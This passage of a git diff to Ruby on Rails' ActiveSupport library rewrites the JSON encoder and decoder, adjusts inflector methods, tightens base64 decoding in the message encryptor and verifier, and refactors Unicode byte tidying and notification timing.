+ string.gsub!('/', '::')
+ string
end
# Makes an underscored, lowercase form from the expression in the string.
@@ -87,8 +89,8 @@ module ActiveSupport
#
# 'SSLError'.underscore.camelize # => "SslError"
def underscore(camel_cased_word)
- word = camel_cased_word.to_s.dup
- word.gsub!('::', '/')
+ return camel_cased_word unless camel_cased_word =~ /[A-Z-]|::/
+ word = camel_cased_word.to_s.gsub('::', '/')
word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
@@ -97,20 +99,27 @@ module ActiveSupport
word
end
- # Capitalizes the first word and turns underscores into spaces and strips a
- # trailing "_id", if any. Like +titleize+, this is meant for creating pretty
- # output.
- #
- # 'employee_salary'.humanize # => "Employee salary"
- # 'author_id'.humanize # => "Author"
- def humanize(lower_case_and_underscored_word)
+ # Capitalizes the first word, turns underscores into spaces, and strips a
+ # trailing '_id' if present.
+ # Like +titleize+, this is meant for creating pretty output.
+ #
+ # The capitalization of the first word can be turned off by setting the
+ # optional parameter +capitalize+ to false.
+ # By default, this parameter is true.
+ #
+ # humanize('employee_salary') # => "Employee salary"
+ # humanize('author_id') # => "Author"
+ # humanize('author_id', capitalize: false) # => "author"
+ def humanize(lower_case_and_underscored_word, options = {})
result = lower_case_and_underscored_word.to_s.dup
inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
result.gsub!(/_id$/, "")
result.tr!('_', ' ')
- result.gsub(/([a-z\d]*)/i) { |match|
+ result.gsub!(/([a-z\d]*)/i) { |match|
"#{inflections.acronyms[match] || match.downcase}"
- }.gsub(/^\w/) { $&.upcase }
+ }
+ result.gsub!(/^\w/) { |match| match.upcase } if options.fetch(:capitalize, true)
+ result
end
# Capitalizes all the words and replaces some characters in the string to
@@ -146,7 +155,7 @@ module ActiveSupport
#
# Singular names are not handled correctly:
#
- # 'business'.classify # => "Busines"
+ # 'calculus'.classify # => "Calculu"
def classify(table_name)
# strip out any leading schema name
camelize(singularize(table_name.to_s.sub(/.*\./, '')))
@@ -163,6 +172,8 @@ module ActiveSupport
#
# 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
# 'Inflections'.demodulize # => "Inflections"
+ # '::Inflections'.demodulize # => "Inflections"
+ # ''.demodulize # => ""
#
# See also +deconstantize+.
def demodulize(path)
@@ -184,7 +195,7 @@ module ActiveSupport
#
# See also +demodulize+.
def deconstantize(path)
- path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename
+ path.to_s[0, path.rindex('::') || 0] # implementation based on the one in facets' Module#spacename
end
# Creates a foreign key name from a class name.
@@ -219,7 +230,7 @@ module ActiveSupport
def constantize(camel_cased_word)
names = camel_cased_word.split('::')
- # Trigger a builtin NameError exception including the ill-formed constant in the message.
+ # Trigger a built-in NameError exception including the ill-formed constant in the message.
Object.const_get(camel_cased_word) if names.empty?
# Remove the first blank element in case of '::ClassName' notation.
@@ -233,8 +244,8 @@ module ActiveSupport
next candidate if constant.const_defined?(name, false)
next candidate unless Object.const_defined?(name)
- # Go down the ancestors to check it it's owned
- # directly before we reach Object or the end of ancestors.
+ # Go down the ancestors to check if it is owned directly. The check
+ # stops when we reach Object or the end of ancestors tree.
constant = constant.ancestors.inject do |const, ancestor|
break const if ancestor == Object
break ancestor if ancestor.const_defined?(name, false)
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index 30833a4cb1..8b5fc70dee 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -7,14 +7,24 @@ module ActiveSupport
mattr_accessor :parse_json_times
module JSON
+ # matches YAML-formatted dates
+ DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
+
class << self
# Parses a JSON string (JavaScript Object Notation) into a hash.
# See www.json.org for more info.
#
# ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
# => {"team" => "rails", "players" => "36"}
- def decode(json, proc = nil, options = {})
- data = ::JSON.load(json, proc, options)
+ def decode(json, options = {})
+ if options.present?
+ raise ArgumentError, "In Rails 4.1, ActiveSupport::JSON.decode no longer " \
+ "accepts an options hash for MultiJSON. MultiJSON reached its end of life " \
+ "and has been removed."
+ end
+
+ data = ::JSON.parse(json, quirks_mode: true)
+
if ActiveSupport.parse_json_times
convert_dates_from(data)
else
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 77b5d8d227..f29d42276d 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,344 +1,172 @@
-#encoding: us-ascii
-
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
require 'active_support/core_ext/module/delegation'
-require 'bigdecimal'
-require 'active_support/core_ext/big_decimal/conversions' # for #to_s
-require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/object/instance_variables'
-require 'time'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/date_time/conversions'
-require 'active_support/core_ext/date/conversions'
-require 'set'
-
module ActiveSupport
class << self
delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+ :time_precision, :time_precision=,
:escape_html_entities_in_json, :escape_html_entities_in_json=,
:encode_big_decimal_as_string, :encode_big_decimal_as_string=,
+ :json_encoder, :json_encoder=,
:to => :'ActiveSupport::JSON::Encoding'
end
module JSON
- # matches YAML-formatted dates
- DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
-
# Dumps objects in JSON (JavaScript Object Notation).
# See www.json.org for more info.
#
# ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
# # => "{\"team\":\"rails\",\"players\":\"36\"}"
def self.encode(value, options = nil)
- Encoding::Encoder.new(options).encode(value)
+ Encoding.json_encoder.new(options).encode(value)
end
module Encoding #:nodoc:
- class CircularReferenceError < StandardError; end
-
- class Encoder
+ class JSONGemEncoder #:nodoc:
attr_reader :options
def initialize(options = nil)
@options = options || {}
- @seen = Set.new
end
- def encode(value, use_options = true)
- check_for_circular_references(value) do
- jsonified = use_options ? value.as_json(options_for(value)) : value.as_json
- jsonified.encode_json(self)
- end
+ # Encode the given object into a JSON string
+ def encode(value)
+ stringify jsonify value.as_json(options.dup)
end
- # like encode, but only calls as_json, without encoding to string.
- def as_json(value, use_options = true)
- check_for_circular_references(value) do
- use_options ? value.as_json(options_for(value)) : value.as_json
+ private
+ # Rails does more escaping than the JSON gem natively does (we
+ # escape \u2028 and \u2029 and optionally >, <, & to work around
+ # certain browser problems).
+ ESCAPED_CHARS = {
+ "\u2028" => '\u2028',
+ "\u2029" => '\u2029',
+ '>' => '\u003e',
+ '<' => '\u003c',
+ '&' => '\u0026',
+ }
+
+ ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
+ ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
+
+ # This class wraps all the strings we see and does the extra escaping
+ class EscapedString < String #:nodoc:
+ def to_json(*)
+ if Encoding.escape_html_entities_in_json
+ super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
+ else
+ super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
+ end
+ end
end
- end
- def options_for(value)
- if value.is_a?(Array) || value.is_a?(Hash)
- # hashes and arrays need to get encoder in the options, so that
- # they can detect circular references.
- options.merge(:encoder => self)
- else
- options.dup
+ # Mark these as private so we don't leak encoding-specific constructs
+ private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
+ :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
+
+ # Convert an object into a "JSON-ready" representation composed of
+ # primitives like Hash, Array, String, Numeric, and true/false/nil.
+ # Recursively calls #as_json to the object to recursively build a
+ # fully JSON-ready object.
+ #
+ # This allows developers to implement #as_json without having to
+ # worry about what base types of objects they are allowed to return
+ # or having to remember to call #as_json recursively.
+ #
+ # Note: the +options+ hash passed to +object.to_json+ is only passed
+ # to +object.as_json+, not any of this method's recursive +#as_json+
+ # calls.
+ def jsonify(value)
+ case value
+ when String
+ EscapedString.new(value)
+ when Numeric, NilClass, TrueClass, FalseClass
+ value
+ when Hash
+ Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+ when Array
+ value.map { |v| jsonify(v) }
+ else
+ jsonify value.as_json
+ end
end
- end
-
- def escape(string)
- Encoding.escape(string)
- end
- private
- def check_for_circular_references(value)
- unless @seen.add?(value.__id__)
- raise CircularReferenceError, 'object references itself'
- end
- yield
- ensure
- @seen.delete(value.__id__)
+ # Encode a "jsonified" Ruby data structure using the JSON gem
+ def stringify(jsonified)
+ ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
end
end
-
- ESCAPED_CHARS = {
- "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
- "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
- "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
- "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
- "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
- "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
- "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
- "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
- "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
- "\010" => '\b',
- "\f" => '\f',
- "\n" => '\n',
- "\xe2\x80\xa8" => '\u2028',
- "\xe2\x80\xa9" => '\u2029',
- "\r" => '\r',
- "\t" => '\t',
- '"' => '\"',
- '\\' => '\\\\',
- '>' => '\u003E',
- '<' => '\u003C',
- '&' => '\u0026',
- "#{0xe2.chr}#{0x80.chr}#{0xa8.chr}" => '\u2028',
- "#{0xe2.chr}#{0x80.chr}#{0xa9.chr}" => '\u2029',
- }
-
class << self
# If true, use ISO 8601 format for dates and times. Otherwise, fall back
# to the Active Support legacy format.
attr_accessor :use_standard_json_time_format
- # If false, serializes BigDecimal objects as numeric instead of wrapping
- # them in a string.
- attr_accessor :encode_big_decimal_as_string
-
- attr_accessor :escape_regex
- attr_reader :escape_html_entities_in_json
-
- def escape_html_entities_in_json=(value)
- self.escape_regex = \
- if @escape_html_entities_in_json = value
- /\xe2\x80\xa8|\xe2\x80\xa9|[\x00-\x1F"\\><&]/
- else
- /\xe2\x80\xa8|\xe2\x80\xa9|[\x00-\x1F"\\]/
- end
- end
-
- def escape(string)
- string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
- json = string.gsub(escape_regex) { |s| ESCAPED_CHARS[s] }
- json = %("#{json}")
- json.force_encoding(::Encoding::UTF_8)
- json
- end
- end
-
- self.use_standard_json_time_format = true
- self.escape_html_entities_in_json = true
- self.encode_big_decimal_as_string = true
- end
- end
-end
-
-class Object
- def as_json(options = nil) #:nodoc:
- if respond_to?(:to_hash)
- to_hash
- else
- instance_values
- end
- end
-end
-
-class Struct #:nodoc:
- def as_json(options = nil)
- Hash[members.zip(values)]
- end
-end
-
-class TrueClass
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
-end
-
-class FalseClass
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
-end
-
-class NilClass
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- 'null'
- end
-end
-
-class String
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- encoder.escape(self)
- end
-end
-
-class Symbol
- def as_json(options = nil) #:nodoc:
- to_s
- end
-end
-
-class Numeric
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
-end
+ # If true, encode >, <, & as escaped unicode sequences (e.g. > as \u003e)
+ # as a safety measure.
+ attr_accessor :escape_html_entities_in_json
-class Float
- # Encoding Infinity or NaN to JSON should return "null". The default returns
- # "Infinity" or "NaN" which breaks parsing the JSON. E.g. JSON.parse('[NaN]').
- def as_json(options = nil) #:nodoc:
- finite? ? self : nil
- end
-end
+ # Sets the precision of encoded time values.
+ # Defaults to 3 (equivalent to millisecond precision)
+ attr_accessor :time_precision
-class BigDecimal
- # A BigDecimal would be naturally represented as a JSON number. Most libraries,
- # however, parse non-integer JSON numbers directly as floats. Clients using
- # those libraries would get in general a wrong number and no way to recover
- # other than manually inspecting the string with the JSON code itself.
- #
- # That's why a JSON string is returned. The JSON literal is not numeric, but
- # if the other end knows by contract that the data is supposed to be a
- # BigDecimal, it still has the chance to post-process the string and get the
- # real value.
- #
- # Use <tt>ActiveSupport.use_standard_json_big_decimal_format = true</tt> to
- # override this behavior.
- def as_json(options = nil) #:nodoc:
- if finite?
- ActiveSupport.encode_big_decimal_as_string ? to_s : self
- else
- nil
- end
- end
-end
+ # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+ # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
+ attr_accessor :json_encoder
-class Regexp
- def as_json(options = nil) #:nodoc:
- to_s
- end
-end
+ def encode_big_decimal_as_string=(as_string)
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you have 'active_support.encode_big_decimal_as_string' in " \
+ "your configuration file. If you have been setting this to true, you can safely remove it from " \
+ "your configuration. Otherwise, you should add the 'activesupport-json_encoder' gem to your " \
+ "Gemfile in order to restore this functionality."
-module Enumerable
- def as_json(options = nil) #:nodoc:
- to_a.as_json(options)
- end
-end
+ raise NotImplementedError, message
+ end
-class Range
- def as_json(options = nil) #:nodoc:
- to_s
- end
-end
+ def encode_big_decimal_as_string
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you are trying to check the value of the related configuration, " \
+ "'active_support.encode_big_decimal_as_string'. If your application depends on this option, you should " \
+ "add the 'activesupport-json_encoder' gem to your Gemfile. For now, this option will always be true. " \
+ "In the future, it will be removed from Rails, so you should stop checking its value."
-class Array
- def as_json(options = nil) #:nodoc:
- # use encoder as a proxy to call as_json on all elements, to protect from circular references
- encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
- map { |v| encoder.as_json(v, options) }
- end
+ ActiveSupport::Deprecation.warn message
- def encode_json(encoder) #:nodoc:
- # we assume here that the encoder has already run as_json on self and the elements, so we run encode_json directly
- "[#{map { |v| v.encode_json(encoder) } * ','}]"
- end
-end
+ true
+ end
-class Hash
- def as_json(options = nil) #:nodoc:
- # create a subset of the hash by applying :only or :except
- subset = if options
- if attrs = options[:only]
- slice(*Array(attrs))
- elsif attrs = options[:except]
- except(*Array(attrs))
- else
- self
+ # Deprecate CircularReferenceError
+ def const_missing(name)
+ if name == :CircularReferenceError
+ message = "The JSON encoder in Rails 4.1 no longer offers protection from circular references. " \
+ "You are seeing this warning because you are rescuing from (or otherwise referencing) " \
+ "ActiveSupport::Encoding::CircularReferenceError. In the future, this error will be " \
+ "removed from Rails. You should remove these rescue blocks from your code and ensure " \
+ "that your data structures are free of circular references so they can be properly " \
+ "serialized into JSON.\n\n" \
+ "For example, the following Hash contains a circular reference to itself:\n" \
+ " h = {}\n" \
+ " h['circular'] = h\n" \
+ "In this case, calling h.to_json would not work properly."
+
+ ActiveSupport::Deprecation.warn message
+
+ SystemStackError
+ else
+ super
+ end
+ end
end
- else
- self
- end
-
- # use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
- encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
- Hash[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
- end
-
- def encode_json(encoder) #:nodoc:
- # values are encoded with use_options = false, because we don't want hash representations from ActiveModel to be
- # processed once again with as_json with options, as this could cause unexpected results (i.e. missing fields);
-
- # on the other hand, we need to run as_json on the elements, because the model representation may contain fields
- # like Time/Date in their original (not jsonified) form, etc.
- "{#{map { |k,v| "#{encoder.encode(k.to_s)}:#{encoder.encode(v, false)}" } * ','}}"
- end
-end
-
-class Time
- def as_json(options = nil) #:nodoc:
- if ActiveSupport.use_standard_json_time_format
- xmlschema
- else
- %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
- end
- end
-end
-
-class Date
- def as_json(options = nil) #:nodoc:
- if ActiveSupport.use_standard_json_time_format
- strftime("%Y-%m-%d")
- else
- strftime("%Y/%m/%d")
- end
- end
-end
-
-class DateTime
- def as_json(options = nil) #:nodoc:
- if ActiveSupport.use_standard_json_time_format
- xmlschema
- else
- strftime('%Y/%m/%d %H:%M:%S %z')
+ self.use_standard_json_time_format = true
+ self.escape_html_entities_in_json = true
+ self.json_encoder = JSONGemEncoder
+ self.time_precision = 3
end
end
end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
index 598c46bce5..51d2da3a79 100644
--- a/activesupport/lib/active_support/key_generator.rb
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -57,18 +57,16 @@ module ActiveSupport
# secret they've provided is at least 30 characters in length.
def ensure_secret_secure(secret)
if secret.blank?
- raise ArgumentError, "A secret is required to generate an " +
- "integrity hash for cookie session data. Use " +
- "config.secret_key_base = \"some secret phrase of at " +
- "least #{SECRET_MIN_LENGTH} characters\"" +
- "in config/initializers/secret_token.rb"
+ raise ArgumentError, "A secret is required to generate an integrity hash " \
+ "for cookie session data. Set a secret_key_base of at least " \
+ "#{SECRET_MIN_LENGTH} characters in config/secrets.yml."
end
if secret.length < SECRET_MIN_LENGTH
- raise ArgumentError, "Secret should be something secure, " +
- "like \"#{SecureRandom.hex(16)}\". The value you " +
- "provided, \"#{secret}\", is shorter than the minimum length " +
- "of #{SECRET_MIN_LENGTH} characters"
+ raise ArgumentError, "Secret should be something secure, " \
+ "like \"#{SecureRandom.hex(16)}\". The value you " \
+ "provided, \"#{secret}\", is shorter than the minimum length " \
+ "of #{SECRET_MIN_LENGTH} characters."
end
end
end
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index f9a98686d3..75f353f62c 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -1,5 +1,5 @@
require 'active_support/log_subscriber'
-require 'active_support/buffered_logger'
+require 'active_support/logger'
require 'active_support/notifications'
module ActiveSupport
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index 4a55bbb350..33fccdcf95 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/logger_silence'
require 'logger'
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index bffdfc6201..b019ad0dec 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -12,7 +12,7 @@ module ActiveSupport
# This can be used in situations similar to the <tt>MessageVerifier</tt>, but
# where you don't want users to be able to determine the value of the payload.
#
- # salt = SecureRandom.random_bytes(64)
+ # salt = SecureRandom.random_bytes(64)
# key = ActiveSupport::KeyGenerator.new('password').generate_key(salt) # => "\x89\xE0\x156\xAC..."
# crypt = ActiveSupport::MessageEncryptor.new(key) # => #<ActiveSupport::MessageEncryptor ...>
# encrypted_data = crypt.encrypt_and_sign('my secret data') # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
@@ -76,12 +76,12 @@ module ActiveSupport
encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data << cipher.final
- [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+ "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
end
def _decrypt(encrypted_message)
cipher = new_cipher
- encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+ encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)}
cipher.decrypt
cipher.key = @secret
@@ -91,7 +91,7 @@ module ActiveSupport
decrypted_data << cipher.final
@serializer.load(decrypted_data)
- rescue OpenSSLCipherError, TypeError
+ rescue OpenSSLCipherError, TypeError, ArgumentError
raise InvalidMessage
end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index e0cd92ae3c..8e6e1dcfeb 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -37,7 +37,12 @@ module ActiveSupport
data, digest = signed_message.split("--")
if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
- @serializer.load(::Base64.decode64(data))
+ begin
+ @serializer.load(::Base64.strict_decode64(data))
+ rescue ArgumentError => argument_error
+ raise InvalidSignature if argument_error.message =~ %r{invalid base64}
+ raise
+ end
else
raise InvalidSignature
end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index a42e7f6542..3c0cf9f137 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -56,11 +56,10 @@ module ActiveSupport #:nodoc:
# Forward all undefined methods to the wrapped string.
def method_missing(method, *args, &block)
+ result = @wrapped_string.__send__(method, *args, &block)
if method.to_s =~ /!$/
- result = @wrapped_string.__send__(method, *args, &block)
self if result
else
- result = @wrapped_string.__send__(method, *args, &block)
result.kind_of?(String) ? chars(result) : result
end
end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index 04e6b71580..ea3cdcd024 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -11,7 +11,7 @@ module ActiveSupport
NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
# The Unicode version that is supported by the implementation
- UNICODE_VERSION = '6.2.0'
+ UNICODE_VERSION = '6.3.0'
# The default normalization used for operations that require
# normalization. It can be set to any of the normalizations
@@ -212,37 +212,43 @@ module ActiveSupport
codepoints
end
- # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
- # resulting in a valid UTF-8 string.
- #
- # Passing +true+ will forcibly tidy all bytes, assuming that the string's
- # encoding is entirely CP1252 or ISO-8859-1.
- def tidy_bytes(string, force = false)
- return string if string.empty?
-
- if force
- return string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ # Ruby >= 2.1 has String#scrub, which is faster than the workaround used for < 2.1.
+ if '<3'.respond_to?(:scrub)
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
+ #
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
+ def tidy_bytes(string, force = false)
+ return string if string.empty?
+ return recode_windows1252_chars(string) if force
+ string.scrub { |bad| recode_windows1252_chars(bad) }
end
+ else
+ def tidy_bytes(string, force = false)
+ return string if string.empty?
+ return recode_windows1252_chars(string) if force
+
+ # We can't transcode to the same format, so we choose a nearly-identical encoding.
+ # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
+ # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
+ # before returning.
+ reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_16LE)
+
+ source = string.dup
+ out = ''.force_encoding(Encoding::UTF_16LE)
+
+ loop do
+ reader.primitive_convert(source, out)
+ _, _, _, error_bytes, _ = reader.primitive_errinfo
+ break if error_bytes.nil?
+ out << error_bytes.encode(Encoding::UTF_16LE, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ end
- # We can't transcode to the same format, so we choose a nearly-identical encoding.
- # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
- # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
- # before returning.
- reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_8_MAC)
-
- source = string.dup
- out = ''.force_encoding(Encoding::UTF_8_MAC)
+ reader.finish
- loop do
- reader.primitive_convert(source, out)
- _, _, _, error_bytes, _ = reader.primitive_errinfo
- break if error_bytes.nil?
- out << error_bytes.encode(Encoding::UTF_8_MAC, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ out.encode!(Encoding::UTF_8)
end
-
- reader.finish
-
- out.encode!(Encoding::UTF_8)
end
# Returns the KC normalization of the string by default. NFKC is
@@ -287,6 +293,13 @@ module ActiveSupport
class Codepoint
attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
+ # Initializing Codepoint object with default values
+ def initialize
+ @combining_class = 0
+ @uppercase_mapping = 0
+ @lowercase_mapping = 0
+ end
+
def swapcase_mapping
uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
end
@@ -364,14 +377,8 @@ module ActiveSupport
end.pack('U*')
end
- def tidy_byte(byte)
- if byte < 160
- [database.cp1252[byte] || byte].pack("U").unpack("C*")
- elsif byte < 192
- [194, byte]
- else
- [195, byte - 64]
- end
+ def recode_windows1252_chars(string)
+ string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
end
def database
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index b32aa75e59..7a96c66626 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -178,7 +178,7 @@ module ActiveSupport
end
def instrumenter
- InstrumentationRegistry.instrumenter_for(notifier)
+ InstrumentationRegistry.instance.instrumenter_for(notifier)
end
end
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
index 99fe03e6d0..8f5fa646e8 100644
--- a/activesupport/lib/active_support/notifications/fanout.rb
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -107,21 +107,18 @@ module ActiveSupport
end
class Timed < Evented
- def initialize(pattern, delegate)
- @timestack = []
- super
- end
-
def publish(name, *args)
@delegate.call name, *args
end
def start(name, id, payload)
- @timestack.push Time.now
+ timestack = Thread.current[:_timestack] ||= []
+ timestack.push Time.now
end
def finish(name, id, payload)
- started = @timestack.pop
+ timestack = Thread.current[:_timestack]
+ started = timestack.pop
@delegate.call(name, started, Time.now, id, payload)
end
end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index 0c9a729ce5..3a244b34b5 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -54,10 +54,11 @@ module ActiveSupport
@transaction_id = transaction_id
@end = ending
@children = []
+ @duration = nil
end
def duration
- 1000.0 * (self.end - time)
+ @duration ||= 1000.0 * (self.end - time)
end
def <<(event)
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index 414960d2b1..b169e3af01 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,115 +1,19 @@
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/i18n'
-
module ActiveSupport
module NumberHelper
- extend self
-
- DEFAULTS = {
- # Used in number_to_delimited
- # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
- format: {
- # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
- separator: ".",
- # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
- delimiter: ",",
- # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
- precision: 3,
- # If set to true, precision will mean the number of significant digits instead
- # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
- significant: false,
- # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
- strip_insignificant_zeros: false
- },
-
- # Used in number_to_currency
- currency: {
- format: {
- format: "%u%n",
- negative_format: "-%u%n",
- unit: "$",
- # These five are to override number.format and are optional
- separator: ".",
- delimiter: ",",
- precision: 2,
- significant: false,
- strip_insignificant_zeros: false
- }
- },
-
- # Used in number_to_percentage
- percentage: {
- format: {
- delimiter: "",
- format: "%n%"
- }
- },
-
- # Used in number_to_rounded
- precision: {
- format: {
- delimiter: ""
- }
- },
-
- # Used in number_to_human_size and number_to_human
- human: {
- format: {
- # These five are to override number.format and are optional
- delimiter: "",
- precision: 3,
- significant: true,
- strip_insignificant_zeros: true
- },
- # Used in number_to_human_size
- storage_units: {
- # Storage units output formatting.
